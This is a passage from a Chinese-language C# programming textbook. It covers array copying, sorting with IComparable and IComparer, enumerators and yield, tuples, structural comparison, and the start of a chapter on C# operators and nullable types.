"Ayrton", LastName = "Senna" }, 1, 12); racers.SetValue(new Person { FirstName = "Michael", LastName = "Schumacher" }, 2, 10); racers.SetValue(new Person { FirstName = "Fernando", LastName = "Alonso" }, 2, 11); racers.SetValue(new Person { FirstName = "Jenson", LastName = "Button" }, 2, 12); 尽管数组不是基于0,但可以用一般的C#表示法为它赋予一个变量。只需要注意不要 超出边界即可: Person[, ] racers2 = (Person[, ])racers; Person first = racers2[1, 10]; Person last = racers2[2, 12]; 7.5.2 复制数组 因为数组是引用类型,所以将一个数组变量赋予另一个数组变量,就会得到两个引用 同一数组的变量。而复制数组,会使数组实现ICloneable接口。这个接口定义的Clone() 方法会创建数组的浅表副本。 如果数组的元素是值类型,以下代码段就会复制所有值,如图7-5所示: 图7-5 int[] intArray1 = {1, 2}; int[] intArray2 = (int[])intArray1.Clone(); 如果数组包含引用类型,则不复制元素,而只复制引用。图7-6显示了变量beatles和 beatlesClone,其中beatlesClone通过从beatles中调用Clone()方法来创建。beatles和 beatlesClone引用的Person对象是相同的。如果修改beatlesClone中一个元素的属性,就会 改变beatles中的对应对象(代码文件SimpleArray/Program.cs)。 Person[] beatles = { new Person { FirstName="John", LastName="Lennon" }, new Person { FirstName="Paul", LastName="McCartney" } }; Person[] beatlesClone = (Person[])beatles.Clone(); 图7-6 除了使用Clone()方法之外,还可以使用Array.Copy()方法创建浅表副本。但 Clone()方法和Copy()方法有一个重要区别:Clone()方法会创建一个新数组,而 Copy()方法必须传递阶数相同且有足够元素的已有数组。  注意: 如果需要包含引用类型的数组的深层副本,就必须迭代数组并创建新 对象。 7.5.3 排序 Array类使用Quicksort算法对数组中的元素进行排序。Sort()方法需要数组中的元素 实现IComparable接口。因为简单类型(如System.String和System.Int32)实现IComparable 接口,所以可以对包含这些类型的元素排序。 在示例程序中,数组名称包含string类型的元素,这个数组可以排序(代码文件 SortingSample/Program.cs)。 string[] names = { "Christina Aguilera", "Shakira", "Beyonce", "Lady Gaga" }; Array.Sort(names); foreach (var name in names) { WriteLine(name); } 该应用程序的输出是排好序的数组: Beyonce Christina Aguilera Lady Gaga Shakira 如果对数组使用自定义类,就必须实现IComparable接口。这个接口只定义了一个方 法CompareTo(),如果要比较的对象相等,该方法就返回0。如果该实例应排在参数对 象的前面,该方法就返回小于0的值。如果该实例应排在参数对象的后面,该方法就返回 大于0的值。 修改Person类,使之实现IComparable<Person>接口。先使用String类中的 CompareTo()方法对LastName的值进行比较。如果LastName的值相同,就比较 FirstName(代码文件SortingSample/Person.cs): public class Person: IComparable<Person> { public int CompareTo(Person other) { if (other == null) return 1; int result = string.Compare(this.LastName, other.LastName); if (result == 0) { result = string.Compare(this.FirstName, other.FirstName); } return result; } //... 现在可以按照姓氏对Person对象对应的数组排序(代码文件 SortingSample/Program.cs): Person[] persons = { new Person { FirstName="Damon", LastName="Hill" }, new Person { FirstName="Niki", LastName="Lauda" }, new Person { FirstName="Ayrton", LastName="Senna" }, new Person { FirstName="Graham", LastName="Hill" } }; Array.Sort(persons); foreach (var p in persons) { WriteLine(p); } 使用Person类的排序功能,会得到按姓氏排序的姓名: Damon Hill Graham Hill Niki Lauda Ayrton Senna 如果Person对象的排序方式与上述不同,或者不能修改在数组中用作元素的类,就可 以实现IComparer接口或IComparer<T>接口。这两个接口定义了方法Compare()。要比 较的类必须实现这两个接口之一。IComparer接口独立于要比较的类。这就是Compare() 方法定义了两个要比较的参数的原因。其返回值与IComparable接口的CompareTo()方法 类似。 类PersonComparer实现了IComparer<Person>接口,可以按照firstName或lastName对 Person对象排序。枚举PersonCompareType定义了可用于PersonComparer的排序选项: FirstName和LastName。排序方式由PersonComparer类的构造函数定义,在该构造函数中 设置了一个PersonCompareType值。实现Compare()方法时用一个switch语句指定是按 FirstName还是LastName排序(代码文件SortingSample/PersonComparer.cs)。 public enum PersonCompareType { FirstName, LastName } public class PersonComparer: IComparer<Person> { private PersonCompareType _compareType; public PersonComparer(PersonCompareType compareType) { _compareType = compareType; } public int Compare(Person x, Person y) { if (x == null && y == null) return 0; if (x == null) return 1; if (y == null) return -1; switch (_compareType) { case PersonCompareType.FirstName: return string.Compare(x.FirstName, y.FirstName); case PersonCompareType.LastName: return string.Compare(x.LastName, y.LastName); default: throw new ArgumentException("unexpected compare type"); } } } 现在,可以将一个PersonComparer对象传递给Array.Sort()方法的第2个参数。下面 按名字对persons数组排序(代码文件SortingSample/Program.cs): Array.Sort(persons, new PersonComparer(PersonCompareType.FirstName)); foreach (var p in persons) { WriteLine(p); } persons数组现在按名字排序: Ayrton Senna Damon Hill Graham Hill Niki Lauda  注意: Array类还提供了Sort方法,它需要将一个委托作为参数。这个参数可 以传递给方法,从而比较两个对象,而不需要依赖IComparable或IComparer接口。第9 章将介绍如何使用委托。 7.6 数组作为参数 数组可以作为参数传递给方法,也可以从方法返回。要返回一个数组,只需要把数组 声明为返回类型,如下面的方法GetPersons()所示: static Person[] GetPersons() { return new Person[] { new Person { FirstName="Damon", LastName="Hill" }, new Person { FirstName="Niki", LastName="Lauda" }, new Person { FirstName="Ayrton", LastName="Senna" }, new Person { FirstName="Graham", LastName="Hill" } }; } 要把数组传递给方法,应把数组声明为参数,如下面的DisplayPersons()方法所 示: static void DisplayPersons(Person[] persons) { //... 7.6.1 数组协变 数组支持协变。这表示数组可以声明为基类,其派生类型的元素可以赋予数组元素。 例如,可以声明一个object[]类型的参数,给它传递一个Person[]: static void DisplayArray(object[] data) { //… }  注意: 数组协变只能用于引用类型,不能用于值类型。另外,数组协变有一 个问题,它只能通过运行时异常来解决。如果把Person数组赋予object数组,object数组 就可以使用派生自object的任何元素。例如,编译器允许把字符串传递给数组元素。但 因为object数组引用Person数组,所以会出现一个运行时异常 ArrayTypeMismatchException。 7.6.2 ArraySegment<T> 结构ArraySegment<T>表示数组的一段。如果需要使用不同的方法处理某个大型数组 的不同部分,那么可以把相应的数组部分复制到各个方法中。此时,与创建多个数组相 比,更有效的方法是使用一个数组,将整个数组传递给不同的方法。这些方法只使用数组 的某个部分。方法的参数除了数组以外,还应包括数组内的偏移量以及该方法应该使用的 元素数。这样一来,方法就需要至少3个参数。当使用数组段时,只需要一个参数就可以 了。ArraySegment<T>结构包含了关于数组段的信息(偏移量和元素个数)。 SumOfSegments()方法提取一组ArraySegment<int>元素,计算该数组段定义的所有 整数之和,并返回整数和(代码文件ArraySegmentSample/Program.cs): static int SumOfSegments(ArraySegment<int>[] segments) { int sum = 0; foreach (var segment in segments) { for (int i = segment.Offset; i < segment.Offset + segment.Count; i++) { sum += segment.Array[i]; } } return sum; } 使用这个方法时,传递了一个数组段。第一个数组元素从ar1的第一个元素开始,引 用了3个元素;第二个数组元素从ar2的第4个元素开始,引用了3个元素; int[] ar1 = { 1, 4, 5, 11, 13, 18 }; int[] ar2 = { 3, 4, 5, 18, 21, 27, 33 }; var segments = new ArraySegment<int>[2] { new ArraySegment<int>(ar1, 0, 3), new ArraySegment<int>(ar2, 3, 3) }; var sum = SumOfSegments(segments);  注意: 数组段不复制原数组的元素,但原数组可以通过ArraySegment<T>访 问。如果数组段中的元素改变了,这些变化就会反映到原数组中。 7.7 枚举 在foreach语句中使用枚举,可以迭代集合中的元素,且无须知道集合中的元素个数。 foreach语句使用了一个枚举器。图7-7显示了调用foreach方法的客户端和集合之间的关 系。数组或集合实现带GetEumerator()方法的IEumerable接口。GetEumerator()方法返 回一个实现IEumerator接口的枚举。接着,foreach语句就可以使用IEumerable接口迭代集 合了。 图7-7  注意: GetEnumerator()方法用IEnumerable接口定义。foreach语句并不真 的需要在集合类中实现这个接口。有一个名为GetEnumerator()的方法,它返回实现 了IEnumerator接口的对象就足够了。 7.7.1 IEnumerator接口 foreach语句使用IEnumerator接口的方法和属性,迭代集合中的所有元素。为此, IEnumerator定义了Current属性,来返回光标所在的元素,该接口的MoveNext()方法移 动到集合的下一个元素上,如果有这个元素,该方法就返回true。如果集合不再有更多的 元素,该方法就返回false。 这个接口的泛型版本IEnumerator<T>派生自接口IDisposable,因此定义了Dispose() 方法,来清理给枚举器分配的资源。  注意: IEnumerator接口还定义了Reset()方法,以与COM交互操作。许 多.NET枚举器通过抛出NotSupportedException类型的异常,来实现这个方法。 7.7.2 foreach语句 C#的foreach语句不会解析为IL代码中的foreach语句。C#编译器会把foreach语句转换 为IEnumerator接口的方法和属性。下面是一条简单的foreach语句,它迭代persons数组中 的所有元素,并逐个显示它们: foreach (var p in persons) { WriteLine(p); } foreach语句会解析为下面的代码段。首先,调用GetEnumerator()方法,获得数组 的一个枚举器。在while循环中——只要MoveNext()返回true——就用Current属性访问 数组中的元素: IEnumerator<Person> enumerator = persons.GetEnumerator(); while (enumerator.MoveNext()) { Person p = enumerator.Current; WriteLine(p); } 7.7.3 yield语句 自C#的第1个版本以来,使用foreach语句可以轻松地迭代集合。在C# 1.0中,创建枚 举器仍需要做大量的工作。C# 2.0添加了yield语句,以便于创建枚举器。yield return语句 返回集合的一个元素,并移动到下一个元素上。yield break可停止迭代。 下一个例子是用yield return语句实现一个简单集合的代码。HelloCollection类包含 GetEnumerator()方法。该方法的实现代码包含两条yield return语句,它们分别返回字符 串Hello和World(代码文件YieldSample/Program.cs)。 using System; using System.Collections; namespace Wrox.ProCSharp.Arrays { public class HelloCollection { public IEnumerator<string> GetEnumerator() { yield return "Hello"; yield return "World"; } }  注意: 包含yield语句的方法或属性也称为迭代块。迭代块必须声明为返回 IEnumerator或IEnumerable接口,或者这些接口的泛型版本。这个块可以包含多条yield return语句或yield break语句,但不能包含return语句。 现在可以用foreach语句迭代集合了: public void HelloWorld() { var helloCollection = new HelloCollection(); foreach (var s in helloCollection) { WriteLine(s); } } } 使用迭代块,编译器会生成一个yield类型,其中包含一个状态机,如下面的代码段所 示。yield类型实现IEnumerator和IDisposable接口的属性和方法。在下面的例子中,可以把 yield类型看作内部类Enumerator。外部类的GetEnumerator()方法实例化并返回一个新的 yield类型。在yield类型中,变量state定义了迭代的当前位置,每次调用MoveNext() 时,当前位置都会改变。MoveNext()封装了迭代块的代码,并设置了current变量的 值,从而使Current属性根据位置返回一个对象。 public class HelloCollection { public IEnumerator GetEnumerator() => new Enumerator(0); public class Enumerator: IEnumerator<string>, IEnumerator, IDisposable { private int _state; private string _current; public Enumerator(int state) { _state = state; } bool System.Collections.IEnumerator.MoveNext() { switch (state) { case 0: _current = "Hello"; _state = 1; return true; case 1: _current = "World"; _state = 2; return true; case 2: break; } return false; } void System.Collections.IEnumerator.Reset() { throw new NotSupportedException(); } string System.Collections.Generic.IEnumerator<string>.Current => current; object System.Collections.IEnumerator.Current => current; void IDisposable.Dispose() { } } }  注意: yield语句会生成一个枚举器,而不仅仅生成一个包含的项的列表。这 个枚举器通过foreach语句调用。从foreach中依次访问每一项时,就会访问枚举器。这 样就可以迭代大量的数据,而无须一次把所有的数据都读入内存。 1.迭代集合的不同方式 在下面这个比Hello World示例略大但比较真实的示例中,可以使用yield return语句, 以不同方式迭代集合的类。类MusicTitles可以用默认方式通过GetEnumerator()方法迭代 标题,用Reverse()方法逆序迭代标题,用Subset()方法迭代子集(代码文件 YieldSample/MusicTitles.cs): public class MusicTitles { string[] names = { "Tubular Bells", "Hergest Ridge", "Ommadawn", "Platinum" }; public IEnumerator<string> GetEnumerator() { for (int i = 0; i < 4; i++) { yield return names[i]; } } public IEnumerable<string> Reverse() { for (int i = 3; i >= 0; i-) { yield return names[i]; } } public IEnumerable<string> Subset(int index, int length) { for (int i = index; i < index + length; i++) { yield return names[i]; } } }  注意: 类支持的默认迭代是定义为返回IEnumerator的GetEnumerator()方 法。命名的迭代返回IEnumerable。 迭代字符串数组的客户端代码先使用GetEnumerator()方法,该方法不必在代码中 编写,因为这是foreach语句默认使用的方法。然后逆序迭代标题,最后将索引和要迭代的 项数传递给Subset()方法,来迭代子集(代码文件YieldSample/Program.cs): var titles = new MusicTitles(); foreach (var title in titles) { WriteLine(title); } WriteLine(); WriteLine("reverse"); foreach (var title in titles.Reverse()) { WriteLine(title); } WriteLine(); WriteLine("subset"); foreach (var title in titles.Subset(2, 2)) { WriteLine(title); } 2.用yield return返回枚举器 使用yield语句还可以完成更复杂的任务,例如,从yield return中返回枚举器。在Tic- Tac-Toe游戏中有9个域,玩家轮流在这些域中放置一个“十”字或一个圆。这些移动操作由 GameMoves类模拟。方法Cross()和Circle()是创建迭代类型的迭代块。变量cross和 circle在GameMoves类的构造函数中设置为Cross()和Circle()方法。这些字段不设置 为调用的方法,而是设置为用迭代块定义的迭代类型。在Cross()迭代块中,将移动操 作的信息写到控制台上,并递增移动次数。如果移动次数大于8,就用yield break停止迭 代;否则,就在每次迭代中返回yield类型circle的枚举对象。Circle()迭代块非常类似于 Cross()迭代块,只是它在每次迭代中返回cross迭代器类型(代码文件 YieldSample/GameMoves.cs)。 public class GameMoves { private IEnumerator _cross; private IEnumerator _circle; public GameMoves() { _cross = Cross(); _circle = Circle(); } private int _move = 0; const int MaxMoves = 9; public IEnumerator Cross() { while (true) { WriteLine($"Cross, move {_move}"); if (++_move >= MaxMoves) { yield break; } yield return _circle; } } public IEnumerator Circle() { while (true) { WriteLine($"Circle, move {move}"); if (++_move >= MaxMoves) { yield break; } yield return _cross; } } } 在客户端程序中,可以以如下方式使用GameMoves类。将枚举器设置为由 game.Cross()返回的枚举器类型,以设置第一次移动。在while循环中,调用 enumerator.MoveNext()。第一次调用enumerator.MoveNext()时,会调用Cross()方 法,Cross()方法使用yield语句返回另一个枚举器。返回的值可以用Current属性访问, 并设置为enumerator变量,用于下一次循环: var game = new GameMoves(); IEnumerator enumerator = game.Cross(); while (enumerator.MoveNext()) { enumerator = enumerator.Current as IEnumerator; } 这个程序的输出会显示交替移动的情况,直到最后一次移动: Cross, move 0 Circle, move 1 Cross, move 2 Circle, move 3 Cross, move 4 Circle, move 5 Cross, move 6 Circle, move 7 Cross, move 8 7.8 元组 数组合并了相同类型的对象,而元组合并了不同类型的对象。元组起源于函数编程语 言(如F#),在这些语言中频繁使用元组。在.NET Framework中,元组可用于所有 的.NET语言。 .NET Framework定义了8个泛型Tuple类和一个静态Tuple类,它们用作元组的工厂。 不同的泛型Tuple类支持不同数量的元素。例如,Tuple<T1>包含一个元素,Tuple<T1, T2>包含两个元素,依此类推。 方法Divide()返回包含两个成员的元组Tuple<int, int>。泛型类的参数定义了成员的 类型,它们都是整数。元组用静态Tuple类的静态Create()方法创建。Create()方法的 泛型参数定义了要实例化的元组类型。新建的元组用result和remainder变量初始化,返回 这两个变量相除的结果(代码文件TupleSample/Program.cs): public static Tuple<int, int> Divide(int dividend, int divisor) { int result = dividend / divisor; int remainder = dividend % divisor; return Tuple.Create(result, remainder); } 下面的代码说明了Divide()方法的调用。可以用属性Item1和Item2访问元组的项: var result = Divide(5, 2); WriteLine($"result of division: {result.Item1}, remainder: {result.Item2}"); 如果元组包含的项超过8个,就可以使用带8个参数的Tuple类定义。最后一个模板参 数是TRest,表示必须给它传递一个元组。这样,就可以创建带任意个参数的元组了。 下面说明这个功能: public class Tuple<T1, T2, T3, T4, T5, T6, T7, TRest> 其中,最后一个模板参数是一个元组类型,所以可以创建带任意多项的元组: var tuple = Tuple.Create<string, string, string, int, int, int, double, Tuple<int, int>>("Stephanie", "Alina", "Nagel", 2009, 6, 2, 1.37, Tuple.Create<int, int>(52, 3490)); 7.9 结构比较 数组和元组都实现接口IStructuralEquatable和IStructuralComparable。这两个接口不仅 可以比较引用,还可以比较内容。这些接口都是显式实现的,所以在使用时需要把数组和 元组强制转换为这个接口。IStructuralEquatable接口用于比较两个元组或数组是否有相同 的内容,IStructuralComparable接口用于给元组或数组排序。 对于说明IStructuralEquatable接口的示例,使用实现IEquatable接口的Person类。 IEquatable接口定义了一个强类型化的Equals()方法,以比较FirstName和LastName属性 的值(代码文件StructuralComparison/Person.cs): public class Person: IEquatable<Person> { public int Id { get; private set; } public string FirstName { get; set; } public string LastName { get; set; } public override string ToString() => $"{Id}, {FirstName} {LastName}"; public override bool Equals(object obj) { if (obj == null) { return base.Equals(obj); } return Equals(obj as Person); } public override int GetHashCode() => Id.GetHashCode(); public bool Equals(Person other) { if (other == null) return base.Equals(other); return Id == other.Id && FirstName == other.FirstName && LastName == other.LastName; } } 现在创建了两个包含Person项的数组。这两个数组通过变量名janet包含相同的Person 对象,和两个内容相同的不同Person对象。比较运算符“! =”返回true,因为这其实是两个 变量persons1和persons2引用的两个不同数组。因为Array类没有重写带一个参数的 Equals()方法,所以用“==”运算符比较引用也会得到相同的结果,即这两个变量不相同 (代码文件StructuralComparison/Program.cs): var janet = new Person { FirstName = "Janet", LastName = "Jackson" }; Person[] persons1 = { new Person { FirstName = "Michael", LastName = "Jackson" }, janet }; Person[] persons2 = { new Person { FirstName = "Michael", LastName = "Jackson" }, janet }; if (persons1 ! = persons2) { WriteLine("not the same reference"); } 对于IStructuralEquatable接口定义的Equals()方法,它的第一个参数是object类型, 第二个参数是IEqualityComparer类型。调用这个方法时,通过传递一个实现了 IEqualityComparer<T>的对象,就可以定义如何进行比较。通过EqualityComparer<T>类完 成IEqualityComparer的一个默认实现。这个实现检查该类型是否实现了IEquatable接口, 并调用IEquatable.Equals()方法。如果该类型没有实现IEquatable,就调用Object基类中 的Equals()方法进行比较。 Person实现IEquatable<Person>,在此过程中比较对象的内容,而数组的确包含相同的 内容: if ((persons1 as IStructuralEquatable).Equals(persons2, EqualityComparer<Person>.Default)) { WriteLine("the same content"); } 下面看看如何对元组执行相同的操作。这里创建了两个内容相同的元组实例。当然, 因为引用t1和t2引用了两个不同的对象,所以比较运算符“! =”返回true: var t1 = Tuple.Create(1, "Stephanie"); var t2 = Tuple.Create(1, "Stephanie"); if (t1 ! = t2) { WriteLine("not the same reference to the tuple"); } Tuple<>类提供了两个Equals()方法:一个重写了Object基类中的Equals()方法, 并把object作为参数,第二个由IStructuralEqualityComparer接口定义,并把object和 IEqualityComparer作为参数。可以给第一个方法传送另一个元组,如下所示。这个方法使 用EqualityComparer<object>.Default获取一个ObjectEqualityComparer<object>,以进行比 较。这样,就会调用Object.Equals()方法比较元组的每一项。如果每一项都返回true, Equals()方法的最终结果就是true,这里因为int和string值都相同,所以返回true: if (t1.Equals(t2)) { WriteLine("the same content"); } 还可以使用类TupleComparer创建一个自定义的IEqualityComparer,如下所示。这个 类实现了IEqualityComparer接口的两个方法Equals()和GetHashCode(): class TupleComparer: IEqualityComparer { public new bool Equals(object x, object y) => x.Equals(y); public int GetHashCode(object obj) => obj.GetHashCode(); }  注意: 实现IEqualityComparer接口的Equals()方法需要new修饰符或者隐式 实现的接口,因为基类Object也定义了带两个参数的静态Equals()方法。 使用TupleComparer,给Tuple<T1, T2>类的Equals()方法传递一个新实例。Tuple类 的Equals()方法为要比较的每一项调用TupleComparer的Equals()方法。所以,对于 Tuple<T1, T2>类,要调用两次TupleComparer,以检查所有项是否相等: if (t1.Equals(t2, new TupleComparer())) { WriteLine("equals using TupleComparer"); } 7.10 小结 本章介绍了创建和使用简单数组、多维数组和锯齿数组的C#表示法。C#数组在后台 使用Array类,这样就可以用数组变量调用这个类的属性和方法。 我们还探讨了如何使用IComparable和IComparer接口给数组中的元素排序,描述了如 何使用和创建枚举器、IEnumerable和IEnumerator接口,以及yield语句。 最后介绍了如何在数组中组织相同类型的对象,在元组中组织不同类型的对象。 第8章介绍运算符和强制类型转换。 第8章 运算符和类型强制转换 本章要点 ● C#中的运算符 ● 使用C# 6的新运算符nameof和空值传播 ● 隐式和显式转换 ● 使用装箱技术把值类型转换为引用类型 ● 比较值类型和引用类型 ● 重载标准的运算符以支持自定义类型 ● 实现索引运算符 ● 通过类型强制转换在引用类型之间转换 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● OperatorOverloadingSample ● OperatorOverloadingSample2 ● OverloadingComparisonSample ● CustomIndexerSample ● CastingSample 8.1 运算符和类型转换 前几章介绍了使用C#编写有用程序所需要的大部分知识。本章将首先讨论基本语言 元素,接着论述C#语言的强大扩展功能。 8.2 运算符 C#运算符非常类似于C++和Java运算符,但有一些区别。 C#支持表8-1中的运算符。 表8-1 类别 运算符 算术运算符 + - * / % 逻辑运算符 & | ^ ~ && || ! 字符串连接运算符 + 递增和递减运算符 ++ - - 移位运算符 << >> 比较运算符 == ! = <> <=> = 赋值运算符 = += -= *= /= %= &= |= ^= <<= >>= 成员访问运算符(用于对象和结构) . 索引运算符(用于数组和索引器) [] 类型转换运算符 () 条件运算符(三元运算符) ?: 委托连接和删除运算符(见第9章) + - 对象创建运算符 new 类型信息运算符 sizeof is typeof as 溢出异常控制运算符 checked unchecked 间接寻址运算符 [] 名称空间别名限定符(见第2章) :: 空合并运算符 ?? 空值传播运算符 ?. ? [] 标识符的名称运算符 nameof()  注意: 有4个运算符(sizeof、*、->和&)只能用于不安全的代码(这些代码 忽略了C#的类型安全性检查),这些不安全的代码见第5章的讨论。 使用C#运算符的一个最大缺点是,与C风格的语言一样,对于赋值(=)和比较 (==)运算,C#使用不同的运算符。例如,下述语句表示“使x等于3”: x = 3; 如果要比较x和另一个值,就需要使用两个等号(==): if (x == 3) { } 幸运的是,C#非常严格的类型安全规则防止出现常见的C错误,也就是在逻辑语句中 使用赋值运算符代替比较运算符。在C#中,下述语句会产生一个编译器错误: if (x = 3) { } 习惯使用与字符(&)来连接字符串的Visual Basic程序员必须改变这个习惯。在C# 中,使用加号(+)连接字符串,而“&”符号表示两个不同整数值的按位AND运算。“|”符 号则在两个整数之间执行按位OR运算。Visual Basic程序员可能还没有使用过取模(%) 运算符,它返回除运算的余数,例如,如果x等于7,则x % 5会返回2。 在C#中很少会用到指针,因此也很少用到间接寻址运算符(->)。使用它们的唯一 场合是在不安全的代码块中,因为只有在此C#才允许使用指针。指针和不安全的代码见 第5章。 8.2.1 运算符的简化操作 表8-2列出了C#中的全部简化赋值运算符。 表8-2 简化运算符 等价于 x++, ++x x = x + 1 x--, --x x = x-1 x+= y x = x + y x- = y x = x - y x *= y x = x * y x /= y x = x / y x %= y x = x % y x >>= y x = x >> y x <<= y x = x << y x &= y x = x & y x |= y x = x | y 为什么用两个例子来分别说明“++”递增和“- -”递减运算符?把运算符放在表达式的前 面称为前置,把运算符放在表达式的后面称为后置。要点是注意它们的行为方式有所不 同。 递增或递减运算符可以作用于整个表达式,也可以作用于表达式的内部。当x++和 ++x单独占一行时,它们的作用是相同的,对应于语句x = x + 1。但当它们用于较长的表 达式内部时,把运算符放在前面(++x)会在计算表达式之前递增x;换言之,递增了x 后,在表达式中使用新值进行计算。而把运算符放在后面(x++)会在计算表达式之后递 增x——使用x的原始值计算表达式。下面的例子使用“++”增量运算符说明了它们的区 别: int x = 5; if (++x == 6) // true - x is incremented to 6 before the evaluation { WriteLine("This will execute"); } if (x++ == 7) // false - x is incremented to 7 after the evaluation { WriteLine("This won't"); } 判断第一个if条件得到true,因为在计算表达式之前,x值从5递增为6。然而,第二条 if语句中的条件为false,因为在计算整个表达式(x == 6)后,x值才递增为7。 前置运算符--x和后置运算符x--与此类似,但它们是递减,而不是递增。 其他简化运算符,如+=和-=,需要两个操作数,通过对第一个操作数执行算术、逻 辑运算,从而改变该操作数的值。例如,下面两行代码是等价的: x += 5; x = x + 5; 下面介绍在C#代码中频繁使用的基本运算符和类型强制转换运算符。 1.条件运算符 条件运算符(?:)也称为三元运算符,是if...else结构的简化形式。其名称的出处是它 带有3个操作数。它首先判断一个条件,如果条件为真,就返回一个值;如果条件为假, 则返回另一个值。其语法如下: condition ? true_value: false_value 其中condition是要判断的布尔表达式,true_value是condition为真时返回的值, false_value是condition为假时返回的值。 恰当地使用三元运算符,可以使程序非常简洁。它特别适合于给调用的函数提供两个 参数中的一个。使用它可以把布尔值快速转换为字符串值true或false。它也很适合于显示 正确的单数形式或复数形式,例如: int x = 1; string s = x + " "; s += (x == 1 ? "man": "men"); WriteLine(s); 如果x等于1,这段代码就显示1 man;如果x等于其他数,就显示其正确的复数形式。 但要注意,如果结果需要本地化为不同的语言,就必须编写更复杂的例程,以考虑到不同 语言的不同语法规则。 2. checked和unchecked运算符 考虑下面的代码: byte b = byte.MaxValue; b++; WriteLine(b); byte数据类型只能包含0~255的数,给byte.MaxValue分配一个字节,得到255。对于 255,字节中所有可用的8个位都得到设置:11111111。所以递增这个值会导致溢出,得到 0。 CLR如何处理这个溢出取决于许多因素,包括编译器选项;所以只要有未预料到的溢 出风险,就需要用某种方式确保得到我们希望的结果。 为此,C#提供了checked和unchecked运算符。如果把一个代码块标记为checked, CLR 就会执行溢出检查,如果发生溢出,就抛出OverflowException异常。下面修改上述代码, 使之包含checked运算符: byte b = 255; checked { b++; } WriteLine(b); 运行这段代码,就会得到一条错误信息: System.OverflowException: Arithmetic operation resulted in an overflow.  注意: 用/checked编译器选项进行编译,就可以检查程序中所有未标记代码 的溢出。 如果要禁止溢出检查,则可以把代码标记为unchecked: byte b = 255; unchecked { b++; } WriteLine(b); 在本例中不会抛出异常,但会丢失数据——因为byte数据类型不能包含256,溢出的 位会被丢弃,所以b变量得到的值是0。 注意,unchecked是默认行为。只有在需要把几行未检查的代码放在一个显式标记为 checked的大代码块中时,才需要显式地使用unchecked关键字。  注意: 默认编译设置是/unchecked,因为执行检查会影响性能。使用/checked 时,每一个算术运算的结果都需要验证其值是否越界。算术运算也可以用于使用i++的 for循环中。为了避免这种性能影响,最好一直使用默认的/ unchecked编译器设置,在 需要时使用checked运算符。 3. is运算符 is运算符可以检查对象是否与特定的类型兼容。短语“兼容”表示对象或者是该类型, 或者派生自该类型。例如,要检查变量是否与object类型兼容,可以使用下面的代码: int i = 10; if (i is object) { WriteLine("i is an object"); } int和所有C#数据类型一样,也从object继承而来;在本例中,表达式i is object将为 true,并显示相应的消息。 4. as运算符 as运算符用于执行引用类型的显式类型转换。如果要转换的类型与指定的类型兼容, 转换就会成功进行;如果类型不兼容,as运算符就会返回null值。如下面的代码所示,如 果object引用实际上不引用string实例,把object引用转换为string就会返回null: object o1 = "Some String"; object o2 = 5; string s1 = o1 as string; // s1 = "Some String" string s2 = o2 as string; // s2 = null as运算符允许在一步中进行安全的类型转换,不需要先使用is运算符测试类型,再执 行转换。  注意: is和as运算符也用于继承,参见第4章。 5. sizeof运算符 使用sizeof运算符可以确定栈中值类型需要的长度(单位是字节): WriteLine(sizeof(int)); 其结果是显示数字4,因为int有4个字节长。 如果对复杂类型(而非基本类型)使用sizeof运算符,就需要把代码放在unsafe块中, 如下所示: unsafe { WriteLine(sizeof(Customer)); } 第5章将详细论述不安全的代码。 6. typeof运算符 typeof运算符返回一个表示特定类型的System.Type对象。例如,typeof(string)返回 表示System.String类型的Type对象。在使用反射技术动态地查找对象的相关信息时,这个 运算符很有用。第16章将介绍反射。 7. nameof运算符 nameof是新的C# 6运算符。该运算符接受一个符号、属性或方法,并返回其名称。 这个运算符如何使用?一个例子是需要一个变量的名称时,如检查参数是否为null: public void Method(object o) { if (o == null) throw new ArgumentNullException(nameof(o) ); 当然,这类似于传递一个字符串来抛出异常,而不是使用nameof运算符。然而,如果 名称拼错,传递字符串并不会显示一个编译器错误。另外,改变参数的名称时,就很容易 忘记更改传递到ArgumentNullException构造函数的字符串。 if (o == null) throw new ArgumentNullException("o"); 对变量的名称使用nameof运算符只是一个用例。还可以使用它来得到属性的名称,例 如,在属性set访问器中触发改变事件(使用INotifyPropertyChanged接口),并传递属性 的名称。 public string FirstName { get { return _firstName; } set { _firstName = value; OnPropertyChanged(nameof(FirstName) ); } } nameof运算符也可以用来得到方法的名称。如果方法是重载的,它同样适用,因为所 有的重载版本都得到相同的值:方法的名称。 public void Method() { Log($"{nameof(Method) } called"); 8. index运算符 前面的第7章中使用了索引运算符(括号)访问数组。这里传递数值2,使用索引运算 符访问数组arr1的第三个元素: int[] arr1 = {1, 2, 3, 4}; int x = arr1[2] ; // x == 3 类似于访问数组元素,索引运算符用集合类实现(参见第11章)。 索引运算符不需要把整数放在括号内,并且可以用任何类型定义。下面的代码片段创 建了一个泛型字典,其键是一个字符串,值是一个整数。在字典中,键可以与索引器一起 使用。在下面的示例中,字符串first传递给索引运算符,以设置字典里的这个元素,然后 把相同的字符串传递给索引器来检索此元素: var dict = new Dictionary<string, int>(); dict["first"] = 1; int x = dict["first"];  注意: 本章后面的“实现自定义索引运算符”一节将介绍如何在自己的类中创 建索引运算符。 9.可空类型和运算符 值类型和引用类型的一个重要区别是,引用类型可以为空。值类型(如int)不能为 空。把C#类型映射到数据库类型时,这是一个特殊的问题。数据库中的数值可以为空。 在早期的C#版本中,一个解决方案是使用引用类型来映射可空的数据库数值。然而,这 种方法会影响性能,因为垃圾收集器需要处理引用类型。现在可以使用可空的int来替代 正常的int。其开销只是使用一个额外的布尔值来检查或设置空值。可空类型仍然是值类 型。 在下面的代码片段中,变量i1是一个int,并给它分配1。i2是一个可空的int,给它分 配i1。可空性使用?与类型来定义。给int?分配整数值的方式类似于i1的分配。变量i3表 明,也可以给可空类型分配null。 int i1 = 1; int? i2 = 2; int? i3 = null; 每个结构都可以定义为可空类型,如下面的long?和DateTime?所示: long? l1 = null; DateTime? d1 = null; 如果在程序中使用可空类型,就必须考虑null值在与各种运算符一起使用时的影响。 通常可空类型与一元或二元运算符一起使用时,如果其中一个操作数或两个操作数都是 null,其结果就是null。例如: int? a = null; int? b = a + 4; // b = null int? c = a * 5; // c = null 但是在比较可空类型时,只要有一个操作数是null,比较的结果就是false。即不能因 为一个条件是false,就认为该条件的对立面是true,这种情况在使用非可空类型的程序中 很常见。例如,在下面的例子中,如果a是空,则无论b的值是+5还是-5,总是会调用else 子句: int? a = null; int? b = -5; if (a >= b) { WriteLine("a >= b"); } else { WriteLine("a < b"); }  注意: 